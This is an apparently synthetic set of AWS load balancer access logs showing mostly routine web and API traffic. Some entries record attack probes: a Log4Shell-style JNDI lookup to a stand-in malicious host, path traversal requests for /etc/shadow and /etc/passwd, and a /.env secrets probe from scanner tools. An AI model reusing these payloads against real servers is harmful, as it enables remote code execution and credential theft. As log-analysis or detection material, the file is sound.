148.176.48.176:43376 10.0.23.198:443 0.008427 0.085700 0.001788 302 302 86 9158 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb89-866c5172c3734e6faafbc845" "-" "-" 0 2024-11-01T01:25:13.665615Z "forward" "-" "-" "10.0.23.198:443" "302" "-" "-" +https 2024-11-01T01:25:14.244315Z prod-web-alb 87.23.132.252:31446 10.0.16.238:443 0.016810 0.068957 0.000292 301 301 791 13471 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb8a-cc24ff5802414a3fb656bcf1" "prod-web-alb.example.com" "-" 5 2024-11-01T01:25:14.244315Z "forward" "-" "-" "10.0.16.238:443" "301" "-" "-" +https 2024-11-01T01:25:15.858891Z prod-web-alb 165.28.34.151:23911 10.0.125.52:443 0.019066 0.353102 0.048121 200 200 223 7785 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb8b-c0930618f9754ac1b5d122c9" "prod-web-alb.example.com" "-" 8 2024-11-01T01:25:15.858891Z "forward" "-" "-" "10.0.125.52:443" "200" "-" "-" +https 2024-11-01T01:25:16.499132Z prod-api-alb 119.195.90.29:23555 10.0.99.201:443 0.065963 0.498842 0.053730 200 200 341 6719 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb8c-79568e2ada6346e8b41c7d38" "prod-api-alb.example.com" "-" 3 2024-11-01T01:25:16.499132Z "forward" "-" "-" "10.0.99.201:443" "200" "-" "-" +https 2024-11-01T01:25:17.035085Z prod-api-alb 57.80.145.178:64794 10.0.56.226:443 0.070991 0.207875 0.027703 200 200 436 7269 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb8d-bcf115dd0bde4e3e917c075f" "prod-api-alb.example.com" "-" 10 2024-11-01T01:25:17.035085Z "forward" "-" "-" "10.0.56.226:443" "200" "-" "-" +https 2024-11-01T01:25:17.670621Z prod-api-alb 6.20.139.106:59549 10.0.232.62:443 0.032505 0.151954 0.074824 404 404 393 345 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb8d-7a548a87d80c4b07ae864af3" "prod-api-alb.example.com" "-" 2 2024-11-01T01:25:17.670621Z "forward" "-" "-" "10.0.232.62:443" "404" "-" "-" +http 2024-11-01T01:25:18.340216Z staging-alb 193.27.228.174:26131 50.142.95.44:8080 0.148008 0.525103 0.056231 404 404 966 6243 "GET /images/../../../../etc/shadow HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb8e-7a95092377e442188ec8d0e5" "-" "-" 5 2024-11-01T01:25:18.340216Z "forward" "-" "-" "50.142.95.44:8080" "404" "-" "-" +https 2024-11-01T01:25:18.890650Z prod-web-alb 193.27.228.118:61892 10.0.55.172:443 0.044641 0.090774 0.069689 500 500 779 5594 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb8e-fde2a8ec8b534728813fdda1" "-" "-" 7 2024-11-01T01:25:18.890650Z "forward" "-" "-" "10.0.55.172:443" "500" "-" "-" +https 2024-11-01T01:25:19.853532Z prod-web-alb 86.228.112.155:57603 10.0.109.114:443 0.028823 0.207599 0.098973 404 404 125 14045 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb8f-825b1d913feb48f1b55eb613" "prod-web-alb.example.com" "-" 6 2024-11-01T01:25:19.853532Z "forward" "-" "-" "10.0.109.114:443" "404" "-" "-" +https 2024-11-01T01:25:21.564195Z staging-alb 255.35.164.6:10505 182.74.252.236:8080 0.001738 0.177314 0.118325 404 404 584 677 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb91-34be4b25295b41079eae4f93" "staging-alb.example.com" "-" 8 2024-11-01T01:25:21.564195Z "forward" "-" "-" "182.74.252.236:8080" "404" "-" "-" +https 2024-11-01T01:25:23.064754Z prod-web-alb 48.140.197.130:35724 10.0.187.239:443 0.088898 0.115127 0.078196 200 200 514 1329 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb93-f1fb3efecd77476ea334d591" "prod-web-alb.example.com" "-" 6 2024-11-01T01:25:23.064754Z "forward" "-" "-" "10.0.187.239:443" "200" "-" "-" +https 2024-11-01T01:25:24.950993Z prod-api-alb 162.117.251.73:59022 10.0.179.35:443 0.078340 0.312971 0.087563 200 200 548 11029 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb94-c2ffb0635b8d498ebd6f7609" "prod-api-alb.example.com" "-" 8 2024-11-01T01:25:24.950993Z "forward" "-" "-" "10.0.179.35:443" "200" "-" "-" +https 2024-11-01T01:25:25.051019Z staging-alb 24.7.183.36:60648 90.83.114.112:8080 0.079052 0.247644 0.104238 404 404 735 10241 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb95-b4f19b2c2c8b41129057fc09" "staging-alb.example.com" "-" 10 2024-11-01T01:25:25.051019Z "forward" "-" "-" "90.83.114.112:8080" "404" "-" "-" +http 2024-11-01T01:25:26.368724Z staging-alb 8.89.187.40:47911 185.80.172.171:80 0.127783 0.290268 0.149270 200 200 342 14076 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb96-0a1ed582cfe241fc86257864" "staging-alb.example.com" "-" 10 2024-11-01T01:25:26.368724Z "forward" "-" "-" "185.80.172.171:80" "200" "-" "-" +https 2024-11-01T01:25:26.801467Z prod-web-alb 193.197.212.98:34016 10.0.196.122:443 0.060482 0.369715 0.079805 200 200 717 3025 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb96-7387771079d44a90ba67a487" "prod-web-alb.example.com" "-" 6 2024-11-01T01:25:26.801467Z "forward" "-" "-" "10.0.196.122:443" "200" "-" "-" +https 2024-11-01T01:25:27.165972Z prod-api-alb 135.174.198.112:26305 10.0.101.14:443 0.091600 0.465162 0.033887 301 301 561 2284 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb97-c05c9ae44119417a8d991e2a" "prod-api-alb.example.com" "-" 8 2024-11-01T01:25:27.165972Z "forward" "-" "-" "10.0.101.14:443" "301" "-" "-" +http 2024-11-01T01:25:29.045394Z staging-alb 192.65.121.159:59668 26.114.144.160:443 0.055368 0.457570 0.008394 200 200 134 8618 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb99-48800ec3f04b44b7a37a405a" "staging-alb.example.com" "-" 8 2024-11-01T01:25:29.045394Z "forward" "-" "-" "26.114.144.160:443" "200" "-" "-" +https 2024-11-01T01:25:30.488040Z staging-alb 186.14.141.120:15920 90.177.231.145:8080 0.065460 0.612078 0.120964 200 200 774 10492 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb9a-32b39c62880e46879264e2d1" "staging-alb.example.com" "-" 7 2024-11-01T01:25:30.488040Z "forward" "-" "-" "90.177.231.145:8080" "200" "-" "-" +https 2024-11-01T01:25:31.248381Z prod-api-alb 127.169.136.54:57030 10.0.195.143:443 0.017368 0.403564 0.074817 404 404 818 4655 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb9b-84b34a90a09f4c9ca09e773b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:25:31.248381Z "forward" "-" "-" "10.0.195.143:443" "404" "-" "-" +https 2024-11-01T01:25:31.556403Z staging-alb 166.92.219.210:26954 29.119.242.146:80 0.068593 0.547187 0.131522 200 200 638 6883 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb9b-cf467231560f4b46939352c7" "staging-alb.example.com" "-" 5 2024-11-01T01:25:31.556403Z "forward" "-" "-" "29.119.242.146:80" "200" "-" "-" +https 2024-11-01T01:25:32.393277Z prod-api-alb 54.114.6.93:40450 10.0.173.28:443 0.029772 0.369283 0.079613 404 404 340 1665 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb9c-8c7aaf1726f8413b9194e60c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:25:32.393277Z "forward" "-" "-" "10.0.173.28:443" "404" "-" "-" +http 2024-11-01T01:25:33.063650Z staging-alb 54.61.0.222:16681 194.232.186.0:8080 0.144641 0.265208 0.098922 302 302 88 14657 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb9d-4a1f5af9cd4545f4b7f1b098" "staging-alb.example.com" "-" 4 2024-11-01T01:25:33.063650Z "forward" "-" "-" "194.232.186.0:8080" "302" "-" "-" +https 2024-11-01T01:25:33.854919Z staging-alb 143.240.180.13:21327 163.221.156.196:8080 0.014140 0.623331 0.040233 302 302 456 3189 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb9d-f4a4f9bbe576470083d326c8" "staging-alb.example.com" "-" 6 2024-11-01T01:25:33.854919Z "forward" "-" "-" "163.221.156.196:8080" "302" "-" "-" +https 2024-11-01T01:25:34.807593Z prod-api-alb 117.124.51.199:38063 10.0.135.66:443 0.036646 0.250538 0.062801 200 200 307 10051 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb9e-03ce34f37ef2458d8a9d0b40" "prod-api-alb.example.com" "-" 10 2024-11-01T01:25:34.807593Z "forward" "-" "-" "10.0.135.66:443" "200" "-" "-" +https 2024-11-01T01:25:36.180697Z prod-api-alb 147.245.208.124:37887 10.0.43.244:443 0.000923 0.247386 0.080090 200 200 59 12446 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cba0-e0eaee63617e4b379a0f00b1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:25:36.180697Z "forward" "-" "-" "10.0.43.244:443" "200" "-" "-" +https 2024-11-01T01:25:36.422210Z prod-web-alb 11.122.175.225:60467 10.0.8.246:443 0.071226 0.214231 0.021973 200 200 857 9895 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cba0-5b502a07331649dab4b1be6b" "prod-web-alb.example.com" "-" 10 2024-11-01T01:25:36.422210Z "forward" "-" "-" "10.0.8.246:443" "200" "-" "-" +http 2024-11-01T01:25:38.073037Z staging-alb 45.155.205.51:22463 202.132.183.126:80 0.105132 0.637302 0.084069 403 403 812 8157 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cba2-5386321431124c59adc3fd1a" "-" "-" 8 2024-11-01T01:25:38.073037Z "forward" "-" "-" "202.132.183.126:80" "403" "-" "-" +https 2024-11-01T01:25:39.008475Z prod-api-alb 253.94.220.33:26437 10.0.30.219:443 0.068436 0.443472 0.084329 200 200 505 2385 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cba3-814ba34c8d1f4201b6b11b12" "prod-api-alb.example.com" "-" 2 2024-11-01T01:25:39.008475Z "forward" "-" "-" "10.0.30.219:443" "200" "-" "-" +https 2024-11-01T01:25:39.367635Z prod-api-alb 52.163.115.168:19744 10.0.193.54:443 0.002301 0.464692 0.063373 200 200 832 2350 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cba3-0408baadcd544695b7c42fc8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:25:39.367635Z "forward" "-" "-" "10.0.193.54:443" "200" "-" "-" +http 2024-11-01T01:25:39.876764Z staging-alb 102.228.31.197:50144 235.202.161.124:443 0.030195 0.511687 0.048084 301 301 316 5599 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cba3-6cdbdaa5df534c228fef8c17" "staging-alb.example.com" "-" 1 2024-11-01T01:25:39.876764Z "forward" "-" "-" "235.202.161.124:443" "301" "-" "-" +https 2024-11-01T01:25:41.097157Z prod-web-alb 56.215.91.216:35305 10.0.219.85:443 0.074684 0.498392 0.024153 200 200 650 11929 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cba5-2030e8919eb748189a3f6022" "prod-web-alb.example.com" "-" 8 2024-11-01T01:25:41.097157Z "forward" "-" "-" "10.0.219.85:443" "200" "-" "-" +https 2024-11-01T01:25:42.209372Z prod-web-alb 54.139.59.75:64149 10.0.51.137:443 0.087654 0.299035 0.035975 404 404 862 8295 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cba6-14018b0958374945ac26239f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:25:42.209372Z "forward" "-" "-" "10.0.51.137:443" "404" "-" "-" +https 2024-11-01T01:25:43.948608Z prod-api-alb 53.49.246.195:31682 10.0.171.33:443 0.018837 0.472320 0.004023 404 404 552 10544 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cba7-2650da2acb214ff8aa5560a9" "prod-api-alb.example.com" "-" 6 2024-11-01T01:25:43.948608Z "forward" "-" "-" "10.0.171.33:443" "404" "-" "-" +https 2024-11-01T01:25:45.751873Z prod-api-alb 86.184.7.174:25809 10.0.213.39:443 0.037650 0.010434 0.060434 404 404 91 4725 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cba9-55ea200e11914e24a060e108" "prod-api-alb.example.com" "-" 10 2024-11-01T01:25:45.751873Z "forward" "-" "-" "10.0.213.39:443" "404" "-" "-" +https 2024-11-01T01:25:46.147607Z prod-api-alb 16.152.13.159:19008 10.0.38.198:443 0.020269 0.112959 0.006154 200 200 808 14481 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbaa-1599eb7e2e624d7fb3072ae8" "prod-api-alb.example.com" "-" 8 2024-11-01T01:25:46.147607Z "forward" "-" "-" "10.0.38.198:443" "200" "-" "-" +https 2024-11-01T01:25:47.734546Z prod-web-alb 42.55.178.164:32501 10.0.100.203:443 0.027950 0.254117 0.044562 200 200 51 10294 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbab-4b2706e8340145d2aff909b6" "prod-web-alb.example.com" "-" 3 2024-11-01T01:25:47.734546Z "forward" "-" "-" "10.0.100.203:443" "200" "-" "-" +https 2024-11-01T01:25:47.948934Z prod-web-alb 51.165.180.209:36935 10.0.137.1:443 0.085193 0.085763 0.068724 404 404 892 3636 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbab-56802c739c1440788c0c4e28" "prod-web-alb.example.com" "-" 10 2024-11-01T01:25:47.948934Z "forward" "-" "-" "10.0.137.1:443" "404" "-" "-" +https 2024-11-01T01:25:49.827733Z prod-api-alb 182.170.28.223:21043 10.0.3.91:443 0.010051 0.408988 0.002755 302 302 625 11837 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbad-35d4137be9754626ac051f7b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:25:49.827733Z "forward" "-" "-" "10.0.3.91:443" "302" "-" "-" +https 2024-11-01T01:25:51.553128Z staging-alb 232.216.97.86:19561 108.246.41.211:8080 0.114440 0.708690 0.032109 200 200 65 4783 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbaf-46cb2fc6e2954942b078e7d2" "staging-alb.example.com" "-" 0 2024-11-01T01:25:51.553128Z "forward" "-" "-" "108.246.41.211:8080" "200" "-" "-" +http 2024-11-01T01:25:53.431842Z staging-alb 253.47.216.197:38198 101.203.76.76:80 0.059457 0.375613 0.029079 302 302 945 7477 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbb1-21de689982534f70916cfc22" "staging-alb.example.com" "-" 3 2024-11-01T01:25:53.431842Z "forward" "-" "-" "101.203.76.76:80" "302" "-" "-" +https 2024-11-01T01:25:54.601281Z prod-api-alb 45.155.205.157:18994 10.0.145.200:443 0.022575 0.349272 0.076304 404 404 805 4209 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbb2-ff32c6fe0e9a4bd4ab82f335" "-" "-" 5 2024-11-01T01:25:54.601281Z "forward" "-" "-" "10.0.145.200:443" "404" "-" "-" +http 2024-11-01T01:25:55.147809Z staging-alb 206.121.7.72:36313 73.150.221.255:8080 0.018362 0.384054 0.086206 200 200 934 1718 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbb3-7baa2fb92b884b5ca3951eec" "staging-alb.example.com" "-" 3 2024-11-01T01:25:55.147809Z "forward" "-" "-" "73.150.221.255:8080" "200" "-" "-" +http 2024-11-01T01:25:55.630970Z staging-alb 148.97.133.124:23346 179.223.118.250:8080 0.097244 0.119246 0.121496 302 302 84 4813 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbb3-7f0380aa6a904ba2a428c803" "staging-alb.example.com" "-" 4 2024-11-01T01:25:55.630970Z "forward" "-" "-" "179.223.118.250:8080" "302" "-" "-" +https 2024-11-01T01:25:55.796866Z prod-web-alb 185.181.15.100:57438 10.0.103.117:443 0.021957 0.021281 0.091328 301 301 114 13004 "GET /.env HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbb3-d0282c4c6bf14762b3b9a2a6" "-" "-" 4 2024-11-01T01:25:55.796866Z "forward" "-" "-" "10.0.103.117:443" "301" "-" "-" +https 2024-11-01T01:25:57.008551Z prod-web-alb 29.49.71.70:54805 10.0.85.241:443 0.002447 0.265319 0.093125 302 302 94 12201 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbb5-30e2925717fa45e69effb29a" "prod-web-alb.example.com" "-" 7 2024-11-01T01:25:57.008551Z "forward" "-" "-" "10.0.85.241:443" "302" "-" "-" +https 2024-11-01T01:25:58.883419Z prod-api-alb 93.188.235.28:19425 10.0.191.142:443 0.046561 0.343545 0.025718 301 301 396 1442 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbb6-3881b27ca03548bf85ddb862" "prod-api-alb.example.com" "-" 4 2024-11-01T01:25:58.883419Z "forward" "-" "-" "10.0.191.142:443" "301" "-" "-" +https 2024-11-01T01:26:00.844476Z prod-api-alb 45.155.205.157:49920 10.0.152.6:443 0.077730 0.305219 0.072532 404 404 982 1428 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbb8-66930a1b3c374a0386df47d6" "-" "-" 9 2024-11-01T01:26:00.844476Z "forward" "-" "-" "10.0.152.6:443" "404" "-" "-" +https 2024-11-01T01:26:02.018120Z staging-alb 27.36.222.91:50144 10.70.57.59:80 0.017694 0.280500 0.100639 302 302 860 13617 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbba-9eb1ed6e473e4a9a8d3df347" "staging-alb.example.com" "-" 8 2024-11-01T01:26:02.018120Z "forward" "-" "-" "10.70.57.59:80" "302" "-" "-" +http 2024-11-01T01:26:02.976336Z staging-alb 20.159.20.236:58111 225.99.225.206:80 0.100285 0.733561 0.080662 200 200 28 3724 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbba-fadb554a4876421ba1cc2b6a" "staging-alb.example.com" "-" 1 2024-11-01T01:26:02.976336Z "forward" "-" "-" "225.99.225.206:80" "200" "-" "-" +https 2024-11-01T01:26:03.322038Z prod-api-alb 80.253.222.124:24269 10.0.8.165:443 0.019473 0.112866 0.047406 200 200 728 14766 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) 